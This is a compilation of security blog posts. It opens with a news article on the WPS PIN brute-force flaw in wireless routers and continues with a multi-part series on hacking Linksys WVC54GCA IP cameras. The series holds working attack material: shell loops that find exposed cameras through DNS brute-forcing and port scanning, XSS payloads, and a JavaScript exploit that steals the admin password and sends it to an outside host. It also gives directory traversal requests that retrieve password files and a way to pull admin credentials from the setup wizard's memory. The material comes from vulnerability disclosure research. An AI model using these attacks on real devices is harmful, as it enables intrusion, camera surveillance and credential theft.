The Glider

Security researchers have released new tools that can bypass the encryption used to protect many types of wireless routers. Ironically, the tools take advantage of design flaws in a technology pushed by the wireless industry that was intended to make the security features of modern routers easier to use.

At issue is a technology called “Wi-Fi Protected Setup” (WPS) that ships with many routers marketed to consumers and small businesses. According to the Wi-Fi Alliance, an industry group, WPS is “designed to ease the task of setting up and configuring security on wireless local area networks. WPS enables typical users who possess little understanding of traditional Wi-Fi configuration and security settings to automatically configure new wireless networks, add new devices and enable security.”

Setting up a home wireless network to use encryption traditionally involved navigating a confusing array of Web-based menus, selecting from a jumble of geeky-sounding and ill-explained encryption options (WEP, WPA, WPA2, TKIP, AES), and then repeating many of those procedures on the various wireless devices the user wants to connect to the network. To make matters worse, many wireless routers come with little or no instructions on how to set up encryption.

Enter WPS. Wireless routers with WPS built-in ship with a personal identification number (PIN – usually 8 digits) printed on them. Using WPS, the user can enable strong encryption for the wireless network simply by pushing a button on the router and then entering the PIN in a network setup wizard designed to interact with the router.

But according to new research, routers with WPS are vulnerable to a very basic hacking technique: The brute-force attack. Put simply, an attacker can try thousands of combinations in rapid succession until he happens on the correct 8-digit PIN that allows authentication to the device.

One way to protect against such automated attacks is to disallow authentication for a specified amount of time after a certain number of unsuccessful attempts. Stefan Viehböck, a freelance information security researcher, said some wireless access point makers implemented such an approach. The problem, he said, is that most of the vendors did so in ways that make brute-force attacks slower, but still feasible.

Earlier today, Viehböck released on his site a free tool that he said can be used to duplicate his research and findings, detailed in this paper (PDF). He said his tool took about four hours to test all possible combinations on TP-Link and D-Link routers he examined, and less than 24 hours against a Netgear router.

“The Wi-Fi alliance members were clearly opting for usability” over security, Viehböck said in a instant message conversation with KrebsOnSecurity.com. “It is very unlikely that nobody noticed that the way they designed the protocol makes a brute force attack easier than it ever should.”

Separately, Craig Heffner, a researcher with Columbia, Md. based security consultancy Tactical Network Solutions, has released an open-source tool called “Reaver” to attack the same vulnerability. Heffner notes that once an attacker has successfully guessed the WPS PIN, he can instantly recover the router’s encryption passphrase, even if the owner changes the passphrase. In addition, he warns, “access points with multiple radios (2.4/5GHz) can be configured with multiple WPA keys. Since the radios use the same WPS pin, knowledge of the pin allows an attacker to recover all WPA keys.”

Source: Stefan Viehböck

The important thing to keep in mind with this flaw is that devices with WPS built-in are vulnerable whether or not users take advantage of the WPS capability in setting up their router. Also, routers that include WPS functionality are likely to have this feature turned on by default.

First the good news: Blocking this attack may be as simple as disabling the WPS feature on your router. The bad news is that it may not be possible in all cases to do this.

In an advisory released on Dec. 27, the U.S. Computer Emergency Readiness Team (US-CERT) warned that “an attacker within range of the wireless access point may be able to brute force the WPS PIN and retrieve the password for the wireless network, change the configuration of the access point, or cause a denial of service.” The advisory notes that products made by a number of vendors are impacted, including Belkin, Buffalo, D-Link, Linksys, Netgear, TP-Link and ZyXel.

Viehböck said none of the router makers appear to have issued firmware updates to address the vulnerability. The US-CERT advisory makes no mention of updates from hardware vendors. The advisory also says little about which models may be affected, but if your router has a “WPS PIN” notation on its backside, then it shipped with this WPS feature built-in.

This article is a continuation of the following GNUCITIZEN articles: here, here, here, here and here.

As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we’ll eventually come across the type of device we’re interested in.

The second method, which would be much faster in finding our target devices, would be to use a search engine and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by GHDB is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.

The third method which would allow you to find more hidden Linksys IP cameras (i.e.: not cached by search engines a.k.a. the hidden web), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:

• linksys-cam.com
• mylinksyscamera.com
• mylinksyshome.com
• mylinksyscam.com
• mylinksysview.com
• linksysremotecam.com
• linksysremoteview.com
• linksyshomemonitor.com

Camera discovery process through subdomain bruteforcing

We first save the aforementioned domains in a file, doms in this case. Then we use dnsmap to bruteforce subdomains for each of the domains included in doms.

Using dnsmap’s built-in wordlist:

$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;

Using a user-supplied wordlist, wordlist_TLAs.txt in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:

$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;

Note: dnsmap’s -i option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the DDNS service provider, and would therefore be regarded as false positives in this case (we’re only interested in IP cameras setup by their respective owners after all). For more info on how to use dnsmap, checkout the README file.

We then parse the IP addresses of the subdomains discovered by dnsmap:

$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt

Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:

$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`

This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own amap response signature, and then scan the open ports with amap.

Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to appdefs.resp, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:

http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC

Please note that the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models. So I'm not sure if it will work against other models. You've been warned!

Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results.

$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`

We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:

$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
[snip]

At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.

Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:

$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
[snip]

In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (admin/admin) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

This article is a continuation of the following GNUCITIZEN articles: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3), Hacking Linksys IP Cameras (pt 4).

Mounting the filesystem on your workstation

There are many ways to mount the camera’s filesystem using the firmware binary. In this post, we’ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.

If you were to only use the firmware binary, things could be a bit difficult, as you don’t know the format of the binary at all. However, having the GPL firmware helps a lot as we’ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn’t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and has been available ever since (the file to download is wvc54gca_v1.00R24.tgz).

Thanks to Lex Landa‘s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the ./scripts/wvc54gc_usa_english/combine.cfg file which is included with the GPL firmware:

size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=kernel
f3_start=00020000
f4_name=filesystem
f4_start=000E0000
f5_name=PID
f5_start=003FFFB2

I simply focused on the kernel and filesystem parameters. The previous settings show that then kernel starts at 0x20000 (131072 bytes / 128 KB), and the filesystem starts at 0xE0000 (917504 bytes / 896 KB). In order to start dd reading at 0xE0000, we need to keep 7 chunks of 131072 bytes. i.e.:7*131072=917504 bytes=0xE0000 (the position we want)

$ dd if=DYFF08-402-1024.bin bs=131072 of=fs.img skip=7
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s

We then verify that our image file is a valid squashfs filesystem:

$ file fs.img 
fs.img: Squashfs filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007

A finally mount it on our hardrive:

$ sudo mkdir /mnt/test
$ sudo mount -t squashfs fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3).

There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS.

Disclosure of Credentials in Client-side Source Code

As a consumer of embedded products, I find highly frustrating to see how many devices’ web interfaces return passwords back to the browser within HTML source code. I’ve also seen similar problems in some corporate appliances, but is not such as common problem within the enterprise realm.

Visiting the change admin password page:

/adm/file.cgi?next_file=pass_wd.htm

Causes the current admin password to be returned (just view the source code with your browser):

<input type="password" size="8" maxlength="64" name="admpw" value="C4mP4ssw0rd" onKeyDown="chkPsize(this.value.length,64,msg_bigpw)">

Visiting the "Wireless Security Page":

/adm/file.cgi?next_file=Wsecurity.htm

Causes the Wi-Fi WEP/WPA/WPA2 encryption key to be returned to the browser:

<input type="text" name="psk" size="24" maxlength="63" value="mywirelesskey">

Obviously this is bad news, as it means that every time the aforementioned pages are visited, credentials travel the clear (the WVC54GCA IP camera doesn't have SSL/TLS support).

Now, I know there are people out there who might find these types of issues not worth fixing. The following is the thinking behind their reasoning.

In the case of the admin password disclosure, some people would argue that this issue wouldn't make a difference security-wise, since the camera uses basic authentication which transmits credentials in the clear (base64 encoding) anyway.

In the case of the wireless encryption key disclosure, some individuals point out that if you can sniff the Wi-Fi encryption key, it means that either 1) you're already part of the wireless network which means you must already know the key, or 2) you are part of the network via an ethernet connection which means that you don't need the wireless key at all.

So why fix these issues then? Well, think of client-side attacks for instance. If you keep reading I'll show you how you can (for instance) use XSS to steal the admin password from the aforementioned page. If the admin password wasn't returned by the web interface, this attack would not be possible, despite basic authentication being used by the camera.

Several XSS bugs

Yes, XSS is the roach of the Internet, it's everywhere and we can't seem to be able to get rid of it! Of course, Linksys IP cameras are no exception. Finding XSS vulns requires virtually no skills (unless you are trying to bypass a strict filter logic). Also, hunting for XSS vulns can be kind of boring. As pdp usually says, "it's not finding XSS bugs which is interesting, but what you can do with it". I couldn't agree more.

Boring PoCs:

/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E

/adm/file.cgi?todo=xss&this_file=%3cscript%3ealert(1)%3c/script%3e

XSS bug #1 works regardless of the authentication state of the victim user. The rest do require the victim user to be logged-in for the injected JS to run within the context of the camera's domain sandbox.

As you can see in the first two XSS vulns, we use img tags, rather then script tags, due to closing script tags being filtered. Once again, the developers have chosen to perform filtering against some parameters, albeit poor filtering.

Admin Password theft XSS PoC

The following is the PoC exploit which steals the admin user's password.

// evil.js : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest && !(window.ActiveXObject)) {
    		try {	
			req = new XMLHttpRequest();
        	} 
		catch(e) {
			req = false;
        	}
    	} 
    	// branch for IE/Windows ActiveX version	
	else if(window.ActiveXObject) {
       		try { 
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		} 
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		} 
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) { 
			// dirty credentials-scraping code
			var bits=req.responseText.split(/\"/);	
			var gems="";
			for (i=0;i<bits.length;++i) { 
                                if(bits[i]=="adm" && bits[i+1]==" value=") {      
                               		gems+="login="; 
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" && bits[i+1]==" value=") {      
                                       	gems+='&password='; 
					gems+=bits[i+2];    
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
        	} 
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);

http://192.168.1.115/adm/file.cgi?next_file=%3cscript%20src=http://evil.foo/evil.js%3e%3c/script%3e

If you capture the traffic while testing the exploit against yourself you will see the admin login and password being sent to google.com:

Attack Requirements

In order for this exploit to work, the camera admin user must be logged in when the attack occurs. This means that a bit of social engineering is required. For instance, the attacker could setup a forum to help users of the WVC54GCA camera by providing tips, FAQs, etc. If the attacker is serious he could use black hat SEO and ad campaigns such as Google AdWords to attract Linksys camera users to visit the site containing the malicious XSS URLs. You get the idea!

Testing Info

All Disclosure of Credentials and XSS vulnerabilities successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2).

Unlike the previous two vulnerabilities I released, the vulnerabilities I’m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else’s camera.

Two directory traversal vulnerabilities

Today, instead of releasing just one vulnerability I’ll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I’m hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!

Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program: /adm/file.cgi. Please note that these vulnerabilities are different to CVE-2004-2507/BID 10476 which affected /main.cgi instead.

1st directory traversal hole

It seems that the next_file parameter is not filtered enough when submitted to /adm/file.cgi, so that either of the following requests will return the content of any file whose location is known (/etc/passwd in this case):

/adm/file.cgi?next_file=%2fetc%2fpasswd

/adm/file.cgi?next_file=%2fetc/passwd

/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd

2nd directory traversal hole

In the case of the second directory traversal hole, the vulnerable parameter (this_file) is not filtered at all whatsoever. So hex-encoding special symbols is not required:

/adm/file.cgi?todo=pwnage&this_file=/etc/passwd

The following is the content of the Linux passwd file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening bin/busybox with any of the vulnerabilities previously discussed. I’m curious to know if the passwd file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:

root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh

Notice that when exploiting the first vulnerability, we need to convert forward slashes to %2f which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the next_file parameter. In the third example, we also partially hex-encode ../ sequences in order to avoid being blocked by the script which results in a forbidden error.

Needless to say, if the root password is not too strong you should be able to crack it using john or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I’m guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.

Unfortunately, as I mentioned in the first post of these series, the WVC54GCA camera comes with a telnet daemon included, but it’s off by default. I haven’t managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by modifying the bin firmware image and uploading it again.

What can we do with these vulnerabilities?

Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:

• /etc/passwd : traditional-DES-format password file with no salt
• /usr/local/www/img/.htpasswd : HTTP credentials stored in cleartext
• /usr/local/www/adm/.htpasswd : contains same data as previous file
• /etc/system.conf : all camera settings stored in cleartext including admin password, wifi encryption key, etc …
• /usr/local/bin/thttpd.conf : web server config file confirming the daemon runs as root, which is the only system account present anyway
• /etc/init.d/rcS : here we see the line that starts the telnet daemon (/usr/sbin/telnetd) commented out
• /etc/def_sys.conf : camera’s default settings
• /etc/system.conf : camera’s current settings
• /var/nc.log : network connections logs
• /etc/group
• /etc/inittab
• /proc/cpuinfo : processor details
• /proc/meminfo
• /proc/version : OS details
• /proc/uptime

Finding a file upload vulnerability should allow us to overwrite the /etc/init.d/rcS file and eventually manage to start the telnet server after reboot. By overwriting the /etc/passwd file with our own we should be able to add our own root password. Unfortunately, I haven’t discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I’d love to hear the details.

Testing Info

Directory traversal vuln #1 successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

Directory traversal vuln #2 successfully tested on:

• WVC54GCA
• V1.00R24 (latest available as on 23rd April 2009)

Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.

Please note that the aforementioned vulnerabilities are different to BID 10476 which affected the /main.cgi program rather than /adm/file.cgi.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

This article is a continuation of the following GNUCITIZEN article, which includes an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1).

Privilege escalation via arbitrary file retrieval

The second vulnerability I’ll be releasing is an arbitrary(ish) file retrieval vulnerability. It’s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. However, this is enough to allow a neat privilege escalation vector where a restricted user that only has permissions to view the video stream, can gain access to the admin account password.

The problem lies within the next_file parameter which is submitted to the main.cgi program. Although main.cgi does filter characters typically used in directory traversal sequences such as dots (.) and forward slashes (/), it seems that the developer didn’t consider that retrieving the contents of files within the current directory could create a security hole. By simply retrieving the contents of .htpasswd a restricted user which only has permissions to access the video stream can access the credentials of the admin account and also the credentials of other restricted users (if applicable).

The only restriction that needs to be bypassed, is dots (.) symbols being filtered. i.e.: the following will not work and will result in a forbidden error:

/img/main.cgi?next_file=.htpasswd

But replacing the dot (.) symbol with its hexadecimal equivalent:

/img/main.cgi?next_file=%2ehtpasswd

Will result in the contents of .htpasswd being returned. i.e.:

admin:adminpassw0rd user1:pass1 user2:pass2

Like most IP cameras, the Linksys WVC54GCA allows administrators to grant access to the video stream to selected users only (rather than anonymous users who don’t need to authenticate). In this case, the admin user can click on the Users menu and tick the Only users in database option (please see screenshot below). After this, all that is needed is to add a username/password pair for the account to grant video-viewing access to:

Well, the feature discussed above can be rendered useless by exploiting the vulnerability I have described, since it allows restricted users to retrieve the admin password.

Testing Info

Successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 20th April 2009)

Please note that this vulnerability is different to BID 10476 which affected the /main.cgi program rather than /img/main.cgi.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

During the easter break, I was playing with my my wireless Linksys IP camera which, although I bought several months ago, I hadn’t taken my time to give the attention this beauty deserves until now! :)

The model in particular is the WVC54GCA, which I would say is one of the most affordable Wi-Fi IP cameras out there (about GBP 80 in the UK), making it a great toy to tinker with. I found the camera to be quite good functionalities-wise, although I’ve experienced availability problems with it. It seems the camera freezes every once in a while. Well, this is true at least when you heavily customized its configuration which is what I’ve ultimately done after playing so much with it.

I’ve loved playing with embedded devices for a while, and as a security researcher I find it quite an interesting topic as many de facto security principles that are usually (attempted to be) followed when designing other types of systems are not often applied to embedded devices. This, I believe is due to lack of limitations in hardware resources, and lack of awareness on consequences of getting a miscellaneous device compromised. i.e.: who cares if my IP camera gets owned?

During the next days, I’ll be posting some vulnerabilities I’ve found. Some of them are fun and serious, while others you might find kind of boring.

Meet the target

You can learn a lot about the specs of a device by simply reading the product’s literature. However, sometimes not enough info is provided in these documents. The following are some of the specs I confirmed by interacting with the camera in various ways:

• CPU: Faraday FA526id(wb) rev 1 (v4l) according to /proc/cpuinfo
• OS: Linux version 2.4.19-pl1029 according to /proc/version plus Busybox (confirmed as the file /bin/busybox exists on the filesystem)
• HTTPD: thttpd 2.25b (extracted from banner returned on default html error pages and ‘Server:’ HTTP headers)
• Memory: 30908kB (32 MB?) according to /proc/meminfo
• Firmware Version: V1.00R22 and V1.00R24 (latest version available as on 16th April 2009)

It also comes with a telnet daemon (/usr/sbin/telnetd) but unfortunately for hackers out there, the daemon is disabled as the following line is commented out on /etc/init.d/rcS:

# ---- Start Telnet Server (debug) ---- #

#/usr/sbin/telnetd &

I have not yet managed to get a remote root shell by enabling the telnet daemon but have found some vulnerabilities which might help accomplishing this goal. I will be releasing these vulnerabilities in the next days. Please let me know if you know how to enable the telnet daemon on Linksys IP cameras! Ideally, I’d like to accomplish this without physically connecting to the camera or flashing the firmware.

Remote admin compromise by unauthenticated attackers due to wizard design error

I found this vulnerability while investigating CVE-2008-4390. I wanted to know if CVE-2008-4390 affected my camera, even though it was reported to affect a different Linksys IP camera firmware and model. The CVE entry states:

The Cisco Linksys WVC54GC wireless video camera before firmware 1.25 sends cleartext configuration data in response to a Setup Wizard remote-management command, which allows remote attackers to obtain sensitive information such as passwords by sniffing the network.

So I started trying to figure out if the WVC54GCA also discloses sensitive information when communicating with the wizard. According to the vendor, the issue has been fixed:

Solution: 2300 and 210 have encrypted data and have no such issue. To decode the data, an administrator username/password is a MUST.

At first sight, when capturing the traffic between the wizard and the cam, I couldn’t see the data traveling in human readable form. While trying to figure out how the data is sent over the network (i.e.: encoded/encrypted), I realized there was something seriously wrong with the handshake mechanism.

The following is a very generic (and possibly inaccurate) description of the handshake

1. Wizard (SetupWizard.exe) sends UDP request to 255.255.255.255:916
2. Camera responds back to 255.255.255.255 using the DCERPC protocol and presents itself with identity info such as the value of the defname variable which looks like LKXXXXXX, where X is a hex digit. This identity info is picked up by SetupWizard.exe. Some of this info such as MAC address, IP address and subnet mask is shown in the wizard.
3. From now on, SetupWizard.exe uses the camera’s defname variable when talking to it, so that the camera knows what requests submitted to 255.255.255.255:916 it should respond to.

At this point the wizard has discovered the camera and the user can go through the setup procedure. For security reasons, the user needs to enter the admin username and password, before the setup process can start. Otherwise anyone could make changes to the camera without authenticating.

Now, here is the important bit. If you capture the network traffic while running SetupWizard.exe, you’ll notice that when the user is asked to enter the admin username and password after the camera is discovered, there are NO requests sent from the wizard to the camera in order to verify that the entered username/password combination is correct!

How is this possible? What the heck is going on?! I thought. I was terrified to confirm my worst fear: the wizard already knows the camera’s admin username and password at this point, thus there is no need to ask the camera again. Indeed, at this point – before the user enters the admin username and password that is – the camera’s credentials are already loaded into the memory of the SetupWizard.exe process. This is because the camera has previously transfered the admin credentials along with other configuration data!

In case I didn’t explain myself properly I’ll summarize the issue by saying that the camera transfers the admin username and password to the wizard before the user enters them. The following steps demonstrate how an unauthenticated attacker can remotely obtain the camera’s admin username and password:

1. Download the setup wizard. You might need to download a different wizard if you want to test this vulnerability on a different Linksys IP camera model
2. Run SetupWizard.exe
3. Click on Click Here to Start / Setup Camera / Next (after accepting EULA) / Next (4 more times in total)
4. The discovery process is quite flaky, so if the wizard hasn’t found your camera yet, click on Search Again as many times as required until it works
5. You should now see your camera’s name under the Camera List column and also various configuration data under the Status column:
   
6. You now need to dump the process memory of SetupWizard.exe using your favorite tool:
   
7. Then open the memory dump file using your favorite hex editor
8. Now you can either search for admin and find the admin password after a few null bytes, or tell your hex editor to go to decimal position 75058 (Address / Goto ... menu on XVI32). In my case the admin password would always fall within this position:
   
9. Have fun! (the most important step really)

It is somehow ironic that a free tool provided by the vendor of a product can be used as a hacker tool against their own product.

As far as I know, this vulnerability cannot be exploited over the Internet, since the camera only responds to wizards located in the same LAN. Never say never though, so if you find a way to exploit this vulnerability over the Internet, please contact us.

UPDATE: CPU and additional OS info added.

---
recent posts from the gnucitizen network:

Websecurify Scanner 0.9Alpha1
Latest Developments
Stuxnet
Websecurify: Pentest Edition
Websecurify Heads-up